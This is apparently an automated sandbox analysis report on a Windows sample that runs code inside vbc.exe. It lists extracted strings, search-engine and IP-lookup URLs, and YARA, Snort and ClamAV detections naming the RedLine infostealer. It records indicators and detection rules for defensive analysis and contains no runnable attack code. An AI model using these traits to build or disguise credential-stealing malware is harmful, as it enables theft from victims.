Source: vbc.exe, 00000002.00000002.326410081.0000000006A61000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.326785733.0000000006AF4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id10
Source: vbc.exe, 00000002.00000002.326410081.0000000006A61000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.328723679.0000000006D76000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id10Response
Source: vbc.exe, 00000002.00000002.326410081.0000000006A61000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id11
Source: vbc.exe, 00000002.00000002.326410081.0000000006A61000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.328723679.0000000006D76000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id11Response
Source: vbc.exe, 00000002.00000002.326410081.0000000006A61000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.326785733.0000000006AF4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id12
Source: vbc.exe, 00000002.00000002.326410081.0000000006A61000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.328723679.0000000006D76000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.326785733.0000000006AF4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id12Response
Source: vbc.exe, 00000002.00000002.326410081.0000000006A61000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id13
Source: vbc.exe, 00000002.00000002.326410081.0000000006A61000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.328723679.0000000006D76000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id13Response
Source: vbc.exe, 00000002.00000002.326410081.0000000006A61000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id14
Source: vbc.exe, 00000002.00000002.326410081.0000000006A61000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id14Response
Source: vbc.exe, 00000002.00000002.326410081.0000000006A61000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id15
Source: vbc.exe, 00000002.00000002.326410081.0000000006A61000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.326785733.0000000006AF4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id15Response
Source: vbc.exe, 00000002.00000002.326410081.0000000006A61000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id16
Source: vbc.exe, 00000002.00000002.326410081.0000000006A61000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.328723679.0000000006D76000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id16Response
Source: vbc.exe, 00000002.00000002.326410081.0000000006A61000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id17
Source: vbc.exe, 00000002.00000002.326410081.0000000006A61000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id17Response
Source: vbc.exe, 00000002.00000002.326410081.0000000006A61000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id18
Source: vbc.exe, 00000002.00000002.326410081.0000000006A61000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id18Response
Source: vbc.exe, 00000002.00000002.326410081.0000000006A61000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id19
Source: vbc.exe, 00000002.00000002.326410081.0000000006A61000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id19Response
Source: vbc.exe, 00000002.00000002.326410081.0000000006A61000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.326785733.0000000006AF4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id1Response
Source: vbc.exe, 00000002.00000002.326410081.0000000006A61000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id2
Source: vbc.exe, 00000002.00000002.326410081.0000000006A61000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id20
Source: vbc.exe, 00000002.00000002.326410081.0000000006A61000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id20Response
Source: vbc.exe, 00000002.00000002.326410081.0000000006A61000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id21
Source: vbc.exe, 00000002.00000002.326410081.0000000006A61000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id21Response
Source: vbc.exe, 00000002.00000002.326410081.0000000006A61000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id22
Source: vbc.exe, 00000002.00000002.326410081.0000000006A61000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.328723679.0000000006D76000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.326785733.0000000006AF4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id22Response
Source: vbc.exe, 00000002.00000002.326410081.0000000006A61000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.326785733.0000000006AF4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id23
Source: vbc.exe, 00000002.00000002.326410081.0000000006A61000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.328723679.0000000006D76000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.326785733.0000000006AF4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id23Response
Source: vbc.exe, 00000002.00000002.326410081.0000000006A61000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id24
Source: vbc.exe, 00000002.00000002.326410081.0000000006A61000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id24Response
Source: vbc.exe, 00000002.00000002.326410081.0000000006A61000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.326785733.0000000006AF4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id2Response
Source: vbc.exe, 00000002.00000002.326410081.0000000006A61000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id3
Source: vbc.exe, 00000002.00000002.326410081.0000000006A61000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id3Response
Source: vbc.exe, 00000002.00000002.326410081.0000000006A61000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id4
Source: vbc.exe, 00000002.00000002.326410081.0000000006A61000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.326785733.0000000006AF4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id4Response
Source: vbc.exe, 00000002.00000002.326410081.0000000006A61000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id5
Source: vbc.exe, 00000002.00000002.326410081.0000000006A61000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id5Response
Source: vbc.exe, 00000002.00000002.326410081.0000000006A61000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id6
Source: vbc.exe, 00000002.00000002.326410081.0000000006A61000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.326785733.0000000006AF4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id6Response
Source: vbc.exe, 00000002.00000002.326410081.0000000006A61000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id7
Source: vbc.exe, 00000002.00000002.326410081.0000000006A61000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.326785733.0000000006AF4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id7Response
Source: vbc.exe, 00000002.00000002.326410081.0000000006A61000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id8
Source: vbc.exe, 00000002.00000002.326410081.0000000006A61000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.326785733.0000000006AF4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id8Response
Source: vbc.exe, 00000002.00000002.326410081.0000000006A61000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id9
Source: vbc.exe, 00000002.00000002.326410081.0000000006A61000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.326785733.0000000006AF4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id9Response
Source: vbc.exe, 00000002.00000002.331508631.0000000007BC1000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.328275264.0000000006CDB000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.333020320.0000000007D7B000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.327771596.0000000006C4E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: vbc.exe, 00000002.00000002.326410081.0000000006A61000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.ip.sb/ip
Source: vbc.exe, 00000002.00000002.331508631.0000000007BC1000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.328275264.0000000006CDB000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.333020320.0000000007D7B000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.327771596.0000000006C4E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: vbc.exe, 00000002.00000002.331508631.0000000007BC1000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.328275264.0000000006CDB000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.333020320.0000000007D7B000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.327771596.0000000006C4E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: vbc.exe, 00000002.00000002.332247894.0000000007CA0000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.330728531.0000000007B26000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.327339075.0000000006BC2000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.330872085.0000000007B43000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.332575224.0000000007CFC000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.331905691.0000000007C3F000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.330330171.0000000007A90000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.328673788.0000000006D69000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.332354289.0000000007CBD000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.331820122.0000000007C22000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.331379186.0000000007BA4000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.332713200.0000000007D19000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.331508631.0000000007BC1000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.328275264.0000000006CDB000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.333020320.0000000007D7B000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.327771596.0000000006C4E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: vbc.exe, 00000002.00000002.331508631.0000000007BC1000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.328275264.0000000006CDB000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.333020320.0000000007D7B000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.327771596.0000000006C4E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: w5OsHBiADi.exe	String found in binary or memory: https://gcc.gnu.org/bugs/):
Source: vbc.exe, 00000002.00000002.332247894.0000000007CA0000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.330728531.0000000007B26000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.327339075.0000000006BC2000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.330872085.0000000007B43000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.332575224.0000000007CFC000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.331905691.0000000007C3F000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.330330171.0000000007A90000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.328673788.0000000006D69000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.332354289.0000000007CBD000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.331820122.0000000007C22000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.331379186.0000000007BA4000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.332713200.0000000007D19000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.331508631.0000000007BC1000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.328275264.0000000006CDB000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.333020320.0000000007D7B000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.327771596.0000000006C4E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://search.yahoo.com/favicon.icohttps://search.yahoo.com/search
Source: vbc.exe, 00000002.00000002.332247894.0000000007CA0000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.330728531.0000000007B26000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.327339075.0000000006BC2000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.330872085.0000000007B43000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.332575224.0000000007CFC000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.331905691.0000000007C3F000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.330330171.0000000007A90000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.328673788.0000000006D69000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.332354289.0000000007CBD000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.331820122.0000000007C22000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.331379186.0000000007BA4000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.332713200.0000000007D19000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.331508631.0000000007BC1000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.328275264.0000000006CDB000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.333020320.0000000007D7B000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.327771596.0000000006C4E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas_sfp&command=
Source: vbc.exe, 00000002.00000002.330872085.0000000007B43000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.331905691.0000000007C3F000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.330330171.0000000007A90000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.332354289.0000000007CBD000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.332713200.0000000007D19000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.331508631.0000000007BC1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://search.yahoo.com?fr=crmas_sfp
Source: vbc.exe, 00000002.00000002.332247894.0000000007CA0000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.330728531.0000000007B26000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.327339075.0000000006BC2000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.330872085.0000000007B43000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.332575224.0000000007CFC000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.331905691.0000000007C3F000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.330330171.0000000007A90000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.328673788.0000000006D69000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.332354289.0000000007CBD000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.331820122.0000000007C22000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.331379186.0000000007BA4000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.332713200.0000000007D19000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.331508631.0000000007BC1000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.328275264.0000000006CDB000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.333020320.0000000007D7B000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.327771596.0000000006C4E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://search.yahoo.com?fr=crmas_sfpf
Source: vbc.exe, 00000002.00000002.332247894.0000000007CA0000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.330728531.0000000007B26000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.327339075.0000000006BC2000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.330872085.0000000007B43000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.332575224.0000000007CFC000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.331905691.0000000007C3F000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.330330171.0000000007A90000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.328673788.0000000006D69000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.332354289.0000000007CBD000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.331820122.0000000007C22000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.331379186.0000000007BA4000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.332713200.0000000007D19000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.331508631.0000000007BC1000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.328275264.0000000006CDB000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.327771596.0000000006C4E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico

Source: w5OsHBiADi.exe, 00000000.00000002.252415432.0000000000AFA000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: <HOOK MODULE="DDRAW.DLL" FUNCTION="DirectDrawCreateEx"/>

System Summary

Malicious sample detected (through community Yara rule)

Source: 0.2.w5OsHBiADi.exe.735a58.1.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 0.3.w5OsHBiADi.exe.920000.0.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 0.2.w5OsHBiADi.exe.735a58.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen

PE file contains section with special chars

Source: w5OsHBiADi.exe

Static PE information: section name: .*vT

Source: w5OsHBiADi.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, 32BIT_MACHINE

Source: 0.2.w5OsHBiADi.exe.735a58.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 0.3.w5OsHBiADi.exe.920000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 0.2.w5OsHBiADi.exe.735a58.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073

Source: C:\Users\user\Desktop\w5OsHBiADi.exe	Code function: 0_2_00405B5F	0_2_00405B5F
Source: C:\Users\user\Desktop\w5OsHBiADi.exe	Code function: 0_2_0045D000	0_2_0045D000
Source: C:\Users\user\Desktop\w5OsHBiADi.exe	Code function: 0_2_0046F810	0_2_0046F810
Source: C:\Users\user\Desktop\w5OsHBiADi.exe	Code function: 0_2_00437020	0_2_00437020
Source: C:\Users\user\Desktop\w5OsHBiADi.exe	Code function: 0_2_0045E020	0_2_0045E020
Source: C:\Users\user\Desktop\w5OsHBiADi.exe	Code function: 0_2_0046A8D0	0_2_0046A8D0
Source: C:\Users\user\Desktop\w5OsHBiADi.exe	Code function: 0_2_0046A120	0_2_0046A120
Source: C:\Users\user\Desktop\w5OsHBiADi.exe	Code function: 0_2_004609D0	0_2_004609D0
Source: C:\Users\user\Desktop\w5OsHBiADi.exe	Code function: 0_2_00468990	0_2_00468990
Source: C:\Users\user\Desktop\w5OsHBiADi.exe	Code function: 0_2_00469990	0_2_00469990
Source: C:\Users\user\Desktop\w5OsHBiADi.exe	Code function: 0_2_004669B0	0_2_004669B0
Source: C:\Users\user\Desktop\w5OsHBiADi.exe	Code function: 0_2_0046E210	0_2_0046E210
Source: C:\Users\user\Desktop\w5OsHBiADi.exe	Code function: 0_2_00440A30	0_2_00440A30
Source: C:\Users\user\Desktop\w5OsHBiADi.exe	Code function: 0_2_00459AE0	0_2_00459AE0
Source: C:\Users\user\Desktop\w5OsHBiADi.exe	Code function: 0_2_004673E0	0_2_004673E0
Source: C:\Users\user\Desktop\w5OsHBiADi.exe	Code function: 0_2_0043BBA0	0_2_0043BBA0
Source: C:\Users\user\Desktop\w5OsHBiADi.exe	Code function: 0_2_0043D410	0_2_0043D410
Source: C:\Users\user\Desktop\w5OsHBiADi.exe	Code function: 0_2_0043ECC0	0_2_0043ECC0
Source: C:\Users\user\Desktop\w5OsHBiADi.exe	Code function: 0_2_0046ECC0	0_2_0046ECC0
Source: C:\Users\user\Desktop\w5OsHBiADi.exe	Code function: 0_2_004414D0	0_2_004414D0
Source: C:\Users\user\Desktop\w5OsHBiADi.exe	Code function: 0_2_0045FC90	0_2_0045FC90
Source: C:\Users\user\Desktop\w5OsHBiADi.exe	Code function: 0_2_0046CCA0	0_2_0046CCA0
Source: C:\Users\user\Desktop\w5OsHBiADi.exe	Code function: 0_2_0045ED30	0_2_0045ED30
Source: C:\Users\user\Desktop\w5OsHBiADi.exe	Code function: 0_2_00438E40	0_2_00438E40
Source: C:\Users\user\Desktop\w5OsHBiADi.exe	Code function: 0_2_00445670	0_2_00445670
Source: C:\Users\user\Desktop\w5OsHBiADi.exe	Code function: 0_2_0047A6C0	0_2_0047A6C0
Source: C:\Users\user\Desktop\w5OsHBiADi.exe	Code function: 0_2_0047D6C0	0_2_0047D6C0
Source: C:\Users\user\Desktop\w5OsHBiADi.exe	Code function: 0_2_004396E0	0_2_004396E0
Source: C:\Users\user\Desktop\w5OsHBiADi.exe	Code function: 0_2_00467EE0	0_2_00467EE0
Source: C:\Users\user\Desktop\w5OsHBiADi.exe	Code function: 0_2_00438E80	0_2_00438E80
Source: C:\Users\user\Desktop\w5OsHBiADi.exe	Code function: 0_2_0046D750	0_2_0046D750
Source: C:\Users\user\Desktop\w5OsHBiADi.exe	Code function: 0_2_00472FE0	0_2_00472FE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 2_2_0506CD08	2_2_0506CD08
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 2_2_050641A0	2_2_050641A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 2_2_0506A420	2_2_0506A420
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 2_2_05062840	2_2_05062840
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 2_2_05060448	2_2_05060448
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 2_2_05061F58	2_2_05061F58
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 2_2_05067BF8	2_2_05067BF8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 2_2_050632C0	2_2_050632C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 2_2_0506412D	2_2_0506412D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 2_2_05060428	2_2_05060428
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 2_2_05062880	2_2_05062880
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 2_2_05066498	2_2_05066498
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 2_2_050664A8	2_2_050664A8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 2_2_05069242	2_2_05069242
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 2_2_05066258	2_2_05066258
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 2_2_05066268	2_2_05066268
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 2_2_05061EBA	2_2_05061EBA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 2_2_050666D8	2_2_050666D8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 2_2_050666E8	2_2_050666E8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 2_2_050BC43A	2_2_050BC43A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 2_2_050BE7B0	2_2_050BE7B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 2_2_050B2058	2_2_050B2058
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 2_2_050B52B8	2_2_050B52B8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 2_2_050B6D98	2_2_050B6D98
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 2_2_050BBFC8	2_2_050BBFC8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 2_2_050BBB88	2_2_050BBB88
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 2_2_050BF5BB	2_2_050BF5BB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 2_2_050BF5E6	2_2_050BF5E6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 2_2_050BC701	2_2_050BC701
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 2_2_050BE7A0	2_2_050BE7A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 2_2_050BC602	2_2_050BC602
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 2_2_050BC6E3	2_2_050BC6E3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 2_2_050BC6F8	2_2_050BC6F8
